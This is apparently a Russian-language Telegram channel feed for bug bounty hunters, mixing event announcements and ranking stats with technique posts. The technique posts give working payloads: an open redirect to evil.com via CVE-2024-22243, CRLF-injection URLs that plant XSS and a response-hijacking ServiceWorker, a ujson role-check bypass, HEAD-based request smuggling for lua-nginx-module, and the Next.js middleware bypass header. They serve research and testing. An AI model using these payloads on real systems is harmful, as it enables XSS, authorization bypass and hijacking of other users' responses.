В ноябре планирую поехать на оффлайн часть приватного ивента для багхантеров BUGS ZONE 3.0. Если не получили приглашение, то у ребят из BI.ZONE Bug Bounty сейчас проходит розыгрыш проходок.
Обещают доклады, подарки и всякие интересные активности, а также вы сможете увидеть и пообщаться с множеством топовых багхантеров, представителями площадки и вендоров.
Please open Telegram to view this post
VIEW IN TELEGRAM
Telegram
BI.ZONE Bug Bounty
😆 Разыгрываем проходки* на церемонию награждения BUGS ZONE 3.0
22 ноября мы будем праздновать в Москве закрытие BUGS ZONE 3.0 и награждать победителей. На встречу мы также позовем вендоров и друзей нашей платформы.
Вы тоже можете попасть на нашу закрытую…
22 ноября мы будем праздновать в Москве закрытие BUGS ZONE 3.0 и награждать победителей. На встречу мы также позовем вендоров и друзей нашей платформы.
Вы тоже можете попасть на нашу закрытую…
👍6🔥3
Если вам попалось приложение на Spring и вы пытаетесь раскрутить SSRF или Open Redirect, то обратите внимание на недавнее CVE-2024-22243.
Символ «левой квадратной скобки»
[ в сегменте юзеринфо может привести к тому, что UriComponentsBuilder в Spring вернет значение имени хоста, которое отличается от интерпретации крупных браузеров, что может позволить обойти вайтлист и обратиться к закрытому ресурсу.http://target.com/redirect?url=https://target.com%5b@evil.com
Подробнее по ссылке.
#web #redirect #ssrf
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
10👍28🔥5
Forwarded from BlackFan
Ну и раз я вспомнил, что у меня есть Telegram канал - нужно запостить что-то полезное)
Если вы обнаружили CRLF Injection, которая позволяет перезаписать HTTP ответ и сделать XSS, - то ее импакт можно увеличить с помощью ServiceWorker.
Для регистрации ServiceWorker необходимо:
1) Иметь возможность выполнения JavaScript в контексте сайта
2) Наличие JavaScript файла на сервере с корректным Content-Type
Используя CRLF Injection оба этих условия легко выполняются:
XSS
JS файл
Но остается проблема, что запросы, которые контролируются ServiceWorker, будут ограничены его scope.
То есть папкой, в которой у нас сработала CRLF Injection. В данном случае это /some/path/foo/bar/, что не очень интересно.
Но если почитать документацию, то можно узнать о заголовке Service-Worker-Allowed, который устанавливается в HTTP ответе вместе с JS кодом воркера, и через который можно переопределить scope.
Что в случае с CRLF Injection позволяет зарегистрировать ServiceWorker, расположенный в любой папке, на корень сайта.
Для этого формируем код ServiceWorker с
И подключаем его через XSS.
Также иногда бывает, что не получается сформировать валидный JS ограничивая HTTP ответ по длине с помощью Content-Length. В таком случае можно отбросить лишнее в ответе с помощью формирования HTTP ответа с Transfer-Encoding:chunked.
Если вы обнаружили CRLF Injection, которая позволяет перезаписать HTTP ответ и сделать XSS, - то ее импакт можно увеличить с помощью ServiceWorker.
Для регистрации ServiceWorker необходимо:
1) Иметь возможность выполнения JavaScript в контексте сайта
2) Наличие JavaScript файла на сервере с корректным Content-Type
Используя CRLF Injection оба этих условия легко выполняются:
XSS
https://example.tld/some/path/foo/bar/?param=x%0D%0AContent-Type:text/html%0D%0AContent-Length:20%0D%0A%0D%0A<script>XSS</script>
JS файл
https://example.tld/some/path/foo/bar/?param=x%0D%0AContent-Type:text/javascript%0D%0AContent-Length:7%0D%0A%0D%0AJS_file
Но остается проблема, что запросы, которые контролируются ServiceWorker, будут ограничены его scope.
То есть папкой, в которой у нас сработала CRLF Injection. В данном случае это /some/path/foo/bar/, что не очень интересно.
Но если почитать документацию, то можно узнать о заголовке Service-Worker-Allowed, который устанавливается в HTTP ответе вместе с JS кодом воркера, и через который можно переопределить scope.
Что в случае с CRLF Injection позволяет зарегистрировать ServiceWorker, расположенный в любой папке, на корень сайта.
Для этого формируем код ServiceWorker с
Service-Worker-Allowed:/, который подменяет все HTTP ответы на строку Fake response.https://example.tld/some/path/foo/bar/?param=x%0D%0AService-Worker-Allowed:/%0D%0AContent-Type:text/javascript%0D%0AContent-Length:162%0D%0A%0D%0Aself.addEventListener(%22fetch%22,function(event){event.respondWith(new%20Response(%22Fake%20response%22,{status:200,statusText:%22OK%22,headers:{%22Content-Type%22:%22text/html%22}}))})И подключаем его через XSS.
https://example.tld/some/path/foo/bar/?param=x%0D%0AContent-Type:text/html%0D%0AContent-Length:378%0D%0A%0D%0A%3Cscript%3Enavigator.serviceWorker.register('/some/path/foo/bar/?param=x%250D%250AService-Worker-Allowed:/%250D%250AContent-Type:text/javascript%250D%250AContent-Length:162%250D%250A%250D%250Aself.addEventListener(%2522fetch%2522,function(event){event.respondWith(new%2520Response(%2522Fake%2520response%2522,{status:200,statusText:%2522OK%2522,headers:{%2522Content-Type%2522:%2522text/html%2522}}))})',{scope:'/'})%3C/script%3EТакже иногда бывает, что не получается сформировать валидный JS ограничивая HTTP ответ по длине с помощью Content-Length. В таком случае можно отбросить лишнее в ответе с помощью формирования HTTP ответа с Transfer-Encoding:chunked.
https://example.tld/some/path/foo/bar/?param=x%0D%0AContent-Type:text/javascript%0D%0ATransfer-Encoding:chunked%0D%0A%0D%0A7%0D%0AJS_file%0D%0A0%0D%0A%0D%0A
10👍22🔥4
JSON стал основой большинства коммуникаций API и его простота часто упускается из виду в моделях угроз. Тем не менее, в современных веб-приложениях и API-интерфейсах в конвейере запросов может использоваться несколько анализаторов, каждый со своими особенностями и уязвимостями. Расхождения между парсерами в сочетании с многоступенчатой обработкой запросов могут привести к серьезным уязвимостям.
Рассмотрим пример когда объекты JSON напрямую сериализуются в базу данных (MongoDB, Couchbase, DynamoDB, CosmosDB и т.д.) и десериализуются во внешние компоненты, которые используют разные анализаторы.
POST /user/create HTTP/1.1
...
Content-Type: application/json
{
"user": "dana",
"role": "administrator"
}
HTTP/1.1 401 Not Authorized
...
Content-Type: application/json
{"Error": "Assignment of internal role 'administrator' is forbidden"}
В данном примере производится очистка входных данных, блокирующая создание администратора. Однако, если на бэке популярный в Python анализатор
ujson, мы можем добавить символ Unicode, который обрежется анализатором и поможет обойти данную проверку.POST /user/create HTTP/1.1
...
Content-Type: application/json
{
"user": "dana",
"role": "administrator\ud888"
}
HTTP/1.1 200 OK
...
Content-Type: application/json
{"result": "OK: Created user ‘dana’ with the role of ‘administrator’"}
Более подробно об этом и других кейсах читайте в статье по ссылке.
#web #bypass #priveesc
Please open Telegram to view this post
VIEW IN TELEGRAM
10👍32🔥22😁2🤔1😢1
Forwarded from wr3dmast3r vs pentest
Сегодня мы познакомимся с уязвимостью Insecure Deserialization на примере нескольких задач с PortSwigger и Standoff365 👨💻
В статье мы разберём, как устроены процессы сериализации и десериализации, а также напишем собственные эксплойты для реализации уязвимостей😻
Подробнее
В статье мы разберём, как устроены процессы сериализации и десериализации, а также напишем собственные эксплойты для реализации уязвимостей
Подробнее
Please open Telegram to view this post
VIEW IN TELEGRAM
Хабр
Небезопасная десериализация в PHP: Как создать собственный эксплойт
Привет, Хабр! Сегодня мы познакомимся с уязвимостями небезопасной десериализации в PHP , научимся писать эксплойты для эксплуатации уязвимости в рамках тестирований на проникновение и попробуем себя в...
11🔥20👍4
Ребята из @bizone_bb раскрыли две уязвимости на их платформе. Респект им и @guleroman за находки.
https://bugbounty.bi.zone/reports/5647
https://bugbounty.bi.zone/reports/5646
#web #idor #ato
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥26👍9
Подвезли расширение для поиска утечек данных в WebSocket-сообщениях. Автоматически находит ключи API, токены и другие секреты.
Ссылка на GitHub
#web #tools #leak
Please open Telegram to view this post
VIEW IN TELEGRAM
👍26🔥7🤯1😢1
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥35😁35🤯6😢1
По результатам 2024 года вошел в топ-3 на @bizone_bb. Сдавал, да и в целом багхантил, достаточно мало, что видно по количеству отчетов. Но если садился, то старался сдавать в основном баги с высокой критичностью, что видно по грейду и рейтингу. Ниже немного статистики.
Принято - 50
Дубликатов - 29 (большая часть high/critical)
Из принятых:
Critical - 14
High - 11
Medium - 19
Low - 6
Результат мог быть и лучше, если бы я тратил больше свободного времени на багхантинг, но, в целом, и так не плохо. Отдельное спасибо ребятам за всякие ивенты, подарки и прочие ништяки, это всегда круто.
Принято - 50
Дубликатов - 29 (большая часть high/critical)
Из принятых:
Critical - 14
High - 11
Medium - 19
Low - 6
Результат мог быть и лучше, если бы я тратил больше свободного времени на багхантинг, но, в целом, и так не плохо. Отдельное спасибо ребятам за всякие ивенты, подарки и прочие ништяки, это всегда круто.
110🔥64👍16🎄1
История о нахождении и раскрутке RCE в публичной багбаунти программе.
Ссылка на статью
#web #rce #recon
Please open Telegram to view this post
VIEW IN TELEGRAM
Telegraph
Путь от ограниченного Path Traversal к RCE с вознаграждением в $40,000
Описание Во время разведки и сканирования портов на нашей любимой цели мы обнаружили поддомен с портом 8443 — http://admin.target.com:8443. Ответ был 404, и, к сожалению, большинство исследователей игнорируют такие поддомены, но не я! Используя fuzzing для…
🔥44👍14
Forwarded from BI.ZONE Bug Bounty
А вы знаете, что у нашего комьюнити есть чат, в котором общаются исследователи и команда платформы? Там уже больше 250 человек, не хватает только вас!
Залетайте в чат, чтобы:
Присоединяйтесь, будем вместе прокачиваться в работе с уязвимостями ;)
Please open Telegram to view this post
VIEW IN TELEGRAM
1👍10🔥6😢4
Forwarded from Пентестер на мотоцикле
common_security_issues_in_financially-orientated.pdf.pdf
8.6 MB
На практике часто приходится сталкиваться с тестированием платёжных систем. Данная методичка поможет пентестерам проводить более тщательный анализ безопасности таких систем. На проекте также воспользовался данным материалом.
▎Краткое содержание:
Документ переведён на русский язык, но оригинал на английском также сохранён. Когда встретится кривой перевод, всегда можно свериться с оригинальным текстом страницей выше.
Сохраняйте себе, чтобы не потерять!
#материал
Please open Telegram to view this post
VIEW IN TELEGRAM
1🔥27👍10😁2
Раскрыли подробности
CVE-2024-33452. При обработке HTTP/1.1-запросов lua-nginx-module некорректно разбирает HEAD-запросы с телом, воспринимая тело запроса как новый отдельный запрос.Пример
Обычно прокси-серверы интерпретируют следующий HTTP-запрос как единый, поскольку GET
/smuggle находится в теле HEAD-запроса:HEAD / HTTP/1.1
Host: localhost
Content-Length: 52
GET /smuggle HTTP/1.1
Host: localhost
Однако lua-nginx-module интерпретирует его как два отдельных запроса, что приводит к рассинхронизации прокси-серверов в цепочке.
Сценарии атак
Прокси-серверы, использующие lua-nginx-module, уязвимы к этой атаке (например, Kong Gateway, Apache APISIX и другие).
Пример с Kong Gateway
Если Kong работает самостоятельно, уязвимость не представляет особой опасности. Но если Kong используется в связке с фронт-прокси (например, Nginx, Cloudflare и т. д.), злоумышленник может:
1. Внедрять вредоносные ответы (например, XSS-атаки).
2. Обходить защиту фронт-прокси (например, обход Cloudflare).
3. Перехватывать ответы других пользователей.
Этот сценарий позволяет заставить всех пользователей загрузить вредоносный ответ с XSS-кодом, даже если сайт использует обычную страницу Apache.
HEAD / HTTP/1.1
Host: localhost
Content-Length: 122
HEAD /app HTTP/1.1
Host: localhost
Connection: keep-alive
GET /app/assets?<script>alert(origin)</script> HTTP/1.1
X:
Результат: Все пользователи, отправляющие обычные запросы, получат XSS-скрипт в ответе.
Допустим, Cloudflare блокирует доступ к
/admin. Злоумышленник может скрыть GET-запрос к /admin внутри HEAD-запроса и обойти защиту.Пример:
HEAD / HTTP/1.1
Host: victim.com
Content-Length: 40
GET /admin HTTP/1.1
Host: victim.com
Результат: Cloudflare не увидит GET-запрос, и злоумышленник сможет обойти защиту.
Этот метод позволяет рассинхронизировать очередь ответов на сервере и захватить ответы других пользователей.
Пример атаки
1. Атакующий отправляет HEAD-запрос с внедрённым GET-запросом.
2. Сервер ошибочно интерпретирует тело как отдельный запрос.
3. Ответ попадает не атакующему, а следующему пользователю, а атакующий может забрать ответ жертвы.
Подробности
Более подробное описание читайте в блоге по ссылке.
#web #hrs #xss
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
1🔥24👍6
Forwarded from BlackFan
Изучая документацию jadx наткнулся на упоминание, что его можно подключить как библиотеку в свое Java приложение. И эта идея настолько понравилась, что в итоге вылилась в небольшой комбайн, который удобно использовать для первоначальной обработки JAR/WAR/APK приложений при анализе защищенности.
https://github.com/BlackFan/BFScan
BFScan анализирует строковые константы в Java-классах и ресурсах приложения для поиска строк, похожих на URL, пути или захардкоженные секреты.
А также формирует сырые HTTP запросы и OpenAPI спецификацию на основе конфигов, аннотаций методов и классов. При этом поддерживаются как клиентские библиотеки (например, Retrofit), используемые в APK для взаимодействия с бэкендом, так и серверные технологии, такие как Spring-аннотации. Что значительно облегчает тестирование API, когда тело HTTP запроса необходимо сформировать из десятка вложенных классов.
Рассмотрим пример работы утилиты с классом, использующим Spring-аннотации.
В случае, если обрабатываемое приложение использует поддерживаемую библиотеку, утилита сгенерирует файл, содержащий все HTTP запросы, поддерживаемые приложением.
Приложение удобно использовать как для клиентских приложений, когда вы анализируете API мобильного приложения. Так и в случае, если вы получили скомпилированный JAR/WAR от серверного приложения, для поиска в нем захардкоженных секретов или дальнейшего анализа API эндпоинтов, которое оно обрабатывает.
Если приложение обфусцировано, что часто бывает с APK, утилита проанализирует все аннотации и, если они похожи на типичное объявление API эндпоинтов, построит HTTP запросы на основе них. В случае, если данная функциональность сработала неправильно, используя jadx вы можно легко сформировать mapping-файлы для переименования обфусцированных классов и корректного формирования HTTP-запросов.
https://github.com/BlackFan/BFScan
BFScan анализирует строковые константы в Java-классах и ресурсах приложения для поиска строк, похожих на URL, пути или захардкоженные секреты.
А также формирует сырые HTTP запросы и OpenAPI спецификацию на основе конфигов, аннотаций методов и классов. При этом поддерживаются как клиентские библиотеки (например, Retrofit), используемые в APK для взаимодействия с бэкендом, так и серверные технологии, такие как Spring-аннотации. Что значительно облегчает тестирование API, когда тело HTTP запроса необходимо сформировать из десятка вложенных классов.
Рассмотрим пример работы утилиты с классом, использующим Spring-аннотации.
@RestController
@RequestMapping("/api")
public class UserController {
@PostMapping("createUser")
public String create(@RequestParam Optional<String> someParamName, @RequestBody User user) {
return "response";
}
В случае, если обрабатываемое приложение использует поддерживаемую библиотеку, утилита сгенерирует файл, содержащий все HTTP запросы, поддерживаемые приложением.
POST /api/createUser?someParamName=value HTTP/1.1
Host: localhost
Connection: close
Content-Type: application/json
{
"name": "name",
"age": 1
}
Приложение удобно использовать как для клиентских приложений, когда вы анализируете API мобильного приложения. Так и в случае, если вы получили скомпилированный JAR/WAR от серверного приложения, для поиска в нем захардкоженных секретов или дальнейшего анализа API эндпоинтов, которое оно обрабатывает.
Если приложение обфусцировано, что часто бывает с APK, утилита проанализирует все аннотации и, если они похожи на типичное объявление API эндпоинтов, построит HTTP запросы на основе них. В случае, если данная функциональность сработала неправильно, используя jadx вы можно легко сформировать mapping-файлы для переименования обфусцированных классов и корректного формирования HTTP-запросов.
2🔥14👍6🤯2
Раскрыли подробности новой уязвимости в Next.JS
CVE-2025-29927. Уязвимость затрагивает все версии Next.js начиная с 11.1.4. Суть проблемы — некорректная обработка заголовка x-middleware-subrequest, позволяющая полностью игнорировать middleware, включая проверку авторизации и перезапись путей.Как это работает
Next.js использует
x-middleware-subrequest для внутренних нужд: он указывает, какие middleware уже были пройдены. Однако злоумышленник может сам подставить значение, указывающее, что middleware уже обработан, и тем самым обойти все проверки.x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware
Пример запроса:
GET /admin/dashboard HTTP/1.1
Host: vulnerable.site
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
Результат: Middleware полностью игнорируется, и запрос проходит, как будто пользователь авторизован.
Другие сценарии атак
Если middleware устанавливает Content-Security-Policy и другие заголовки - они будут проигнорированы.
Например, если сайт делает rewrite на основе геолокации, можно закэшировать "пустую" или ошибочную версию страницы, нарушив доступность для других.
Кого это касается
Приложения, использующие middleware для авторизации или других чувствительных задач. Если middleware не используется - уязвимость малозначима (кроме DoS-сценариев).
📖 Подробнее:
https://zhero-web-sec.github.io/research-and-things/nextjs-and-the-corrupt-middleware
#web #bac #cache #dos #csp
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥28👍4
Forwarded from Standoff 365
Хотите задать вопрос топовым хакерам из Synack и HackerOne?
В нашем канале коммуникации 15 апреля в 19:00 (мск) пройдет стрим в формате ответов на все ваши вопросы с топовыми хакерами Hussein Daher и Nikhil "Niksthehacker" Shrivastava!
Что будет на стриме?
🔥 Как гости стрима пришли в багбаунти и что стало точкой невозврата?
🔥 На каких уязвимостях они фокусируются и почему?
🔥 Как понять, когда копать глубже, а когда менять таргет?
🔥 Самые запоминающиеся репорты, инсайты и лайфхаки.
Кто в эфире?
🔹 Hussein Daher — этичный хакер, который с 2014 года нашел более 1500 уязвимостей более чем в 800 компаниях. Основатель WebImmunify․com, компании, которая занимается пентестом и консультациями по кибербезопасности.
🔹Nikhil Shrivastava (Niksthehacker) — Synack Legend Hacker — помог найти более 1500 уязвимостей в продуктах Google, Microsoft, Tesla. Выступал на DEF CON, BlackHat и RSA.
Модератором стрима выступит Александр Мошков.
💡 Готовьте вопросы — спикеры ответят на все, что вы захотите узнать!
В нашем канале коммуникации 15 апреля в 19:00 (мск) пройдет стрим в формате ответов на все ваши вопросы с топовыми хакерами Hussein Daher и Nikhil "Niksthehacker" Shrivastava!
Что будет на стриме?
🔥 Как гости стрима пришли в багбаунти и что стало точкой невозврата?
🔥 На каких уязвимостях они фокусируются и почему?
🔥 Как понять, когда копать глубже, а когда менять таргет?
🔥 Самые запоминающиеся репорты, инсайты и лайфхаки.
Кто в эфире?
🔹 Hussein Daher — этичный хакер, который с 2014 года нашел более 1500 уязвимостей более чем в 800 компаниях. Основатель WebImmunify․com, компании, которая занимается пентестом и консультациями по кибербезопасности.
🔹Nikhil Shrivastava (Niksthehacker) — Synack Legend Hacker — помог найти более 1500 уязвимостей в продуктах Google, Microsoft, Tesla. Выступал на DEF CON, BlackHat и RSA.
Модератором стрима выступит Александр Мошков.
Please open Telegram to view this post
VIEW IN TELEGRAM
1👍10🤔1😢1
Forwarded from InfoSec VK Hub
Стартуем с практикой раскрытия отчетов от багхантеров! На платформе Standoff Bug Bounty уже доступны первые 7 отчетов, подготовленные cutoffurmind, kedr и circuit.
Делимся инсайтами авторов
circuit:
«Начинающие багхантеры должны как-то учиться. Учиться на чужих примерах — это отличный вариант. Да и программы будут получать больше репортов после дисклозов, мне так кажется. Кого-то эти отчеты смогут мотивировать на поиск уязвимостей».
cutoffurmind:
«Это редкий вариант эксплуатации blind RCE, когда на выходе имеем только exit status код процесса. А еще уязвимость была найдена после анализа исходного кода проекта на GitHub».
kedr:
«Помимо обмена опытом (а большая часть багбаунти — это изучение находок других хантеров), дисклозы создают ощущение «движухи» и подталкивают тебя к тому, чтобы тоже пойти и потыкать программу. Кроме того, можно посмотреть, как компания оценивает уязвимости и высчитывает критичность — ведь одна и та же XSS может быть как medium, так и high-critical».
И не забывайте, что с Bounty Pass можно копить бонусы к выплатам на целый год.
VK Security
#bugbounty #bountypass #reports
Please open Telegram to view this post
VIEW IN TELEGRAM
👍8🔥6😢2🤔1